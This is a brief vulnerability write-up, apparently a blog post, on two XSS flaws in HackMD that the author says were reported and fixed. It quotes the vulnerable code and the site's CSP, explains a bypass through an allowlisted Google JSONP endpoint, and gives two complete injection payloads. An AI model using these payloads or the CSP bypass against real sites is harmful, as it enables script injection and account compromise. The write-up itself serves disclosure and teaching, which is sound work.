Several HackMD XSS
During AIS3, I was bored and played around on HackMD, found two XSS points, and successfully bypassed CSP to get XSS. I have reported it to the official team and it has been fixed.
XSS 1
Key code:
t.find('span.figma.raw')
.filter(r)
.removeClass('raw')
.each(function (t, n) {
var r = e(n).attr('data-figma-src'),
i = e(
'<iframe\n height="450"\n width="800"\n src="'.concat(
r,
'"\n allowfullscreen\n style="width: 100%"\n ></iframe>'
)
)
e(this).append(i)
})You can see that it selects span.figma.raw, then takes the value of data-figma-src and concatenates it with HTML, so there's a very simple XSS. However, because of CSP, we still need to bypass CSP:
default-src 'none'; script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval' https://assets.hackmd.io https://www.google.com https://apis.google.com https://docs.google.com https://www.dropbox.com https://*.disqus.com https://*.disquscdn.com https://www.google-analytics.com https://stats.g.doubleclick.net https://secure.quantserve.com https://rules.quantcount.com https://pixel.quantserve.com https://static.hotjar.com https://script.hotjar.com https://www.googletagmanager.com https://cdn.ravenjs.com https://browser.sentry-cdn.com https://js.stripe.com 'nonce-469e4147-0c32-4c3b-b6f1-aa8495a9b035' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI=' 'sha256-8HvL1KRq6jEwDkuVgxMDK7Gag1vnT70L0Lfoa1E3YsY=' 'sha256-81acLZNZISnyGYZrSuoYhpzwDTTxi7vC1YM4uNxqWaM='; img-src * data:; style-src 'self' 'unsafe-inline' https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com; font-src 'self' data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; object-src *; media-src *; frame-src *; child-src *; connect-src *; base-uri 'none'; form-action 'self' https://www.paypal.com; upgrade-insecure-requestsWe can see that www.google.com is in the allowlist, and it has a very flexible JSONP endpoint that can be utilized:
https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//Using this, we can directly achieve XSS. Putting it all together, we get the complete payload:
<span class="figma raw" data-figma-src='"></iframe>peko<script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></script><span "'>
kusa
</span>XSS 2
Key code:
t.find('.color-indicator.rough')
.filter(r)
.removeClass('rough')
.each(function (t, n) {
e(n).append(
'<span class="ml-1 inline-block rounded-sm" style="background-color: '.concat(
n.textContent,
'; width: 10px; height: 10px;"></span>'
)
)
})Similar to the previous situation, and using the same CSP bypass method, we can also achieve XSS.
<span class="color-indicator rough">
"><script src='https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//'></script>
kusa
</span>